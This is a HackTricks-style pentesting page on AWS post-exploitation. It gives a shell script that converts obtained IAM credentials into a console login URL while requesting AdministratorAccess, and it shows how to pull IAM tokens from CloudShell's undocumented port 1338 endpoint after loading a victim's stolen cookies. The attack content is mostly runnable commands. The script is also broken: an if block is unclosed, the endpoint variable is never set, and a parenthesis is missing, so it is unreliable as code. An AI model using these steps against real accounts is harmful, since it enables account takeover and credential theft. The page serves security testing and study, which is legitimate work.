AWS - STS Post Exploitation

Support HackTricks


For more information:

AWS - IAM, Identity Center & SSO Enum

From IAM Creds to Console

If you have managed to obtain some IAM credentials you might be interested on accessing the web console using the following tools. Note that the the user/role must have the permission sts:GetFederationToken.

Custom script

The following script will use the default profile and a default AWS location (not gov and not cn) to give you a signed URL you can use to login inside the web console:

# Get federated creds (you must indicate a policy or they won't have any perms)
## Even if you don't have Admin access you can indicate that policy to make sure you get all your privileges
## Don't forget to use [--profile <prof_name>] in the first line if you need to
output=$(aws sts get-federation-token --name consoler --policy-arns arn=arn:aws:iam::aws:policy/AdministratorAccess)

if [ $? -ne 0 ]; then
    echo "The command 'aws sts get-federation-token --name consoler' failed with exit status $status"
    exit $status

# Parse the output
session_id=$(echo $output | jq -r '.Credentials.AccessKeyId')
session_key=$(echo $output | jq -r '.Credentials.SecretAccessKey')
session_token=$(echo $output | jq -r '.Credentials.SessionToken')

# Construct the JSON credentials string
json_creds=$(echo -n "{\"sessionId\":\"$session_id\",\"sessionKey\":\"$session_key\",\"sessionToken\":\"$session_token\"}")

# Define the AWS federation endpoint

# Make the HTTP request to get the sign-in token
resp=$(curl -s "$federation_endpoint" \
    --get \
    --data-urlencode "Action=getSigninToken" \
    --data-urlencode "SessionDuration=43200" \
    --data-urlencode "Session=$json_creds"
signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri)

# Give the URL to login
echo -n "$signin_token"


You can generate a web console link with

cd /tmp
python3 -m venv env
source ./env/bin/activate
pip install aws-consoler
aws_consoler [params...] #This will generate a link to login into the console

Ensure the IAM user has sts:GetFederationToken permission, or provide a role to assume.


aws-vault is a tool to securely store and access AWS credentials in a development environment.

aws-vault list
aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds
aws-vault login jonsmith # Open a browser logged as jonsmith

You can also use aws-vault to obtain an browser console session

From Console to IAM Creds

Originally discovered in this post, If you manage to compromise some access to a web console (maybe you stole cookies and could't access the .aws folder), you can obtain some IAM token credentials for that user through CloudShell.

CloudShell exposes IAM credentials via an undocumented endpoint on port 1338. After loading session cookies from the victim into your browser, you can navigate to CloudShell and issue the following commands to get IAM credentials.

TOKEN=$(curl -X PUT localhost:1338/latest/api/token -H "X-aws-ec2-metadata-token-ttl-seconds: 60")
curl localhost:1338/latest/meta-data/container/security-credentials -H "X-aws-ec2-metadata-token: $TOKEN"
Support HackTricks

Last updated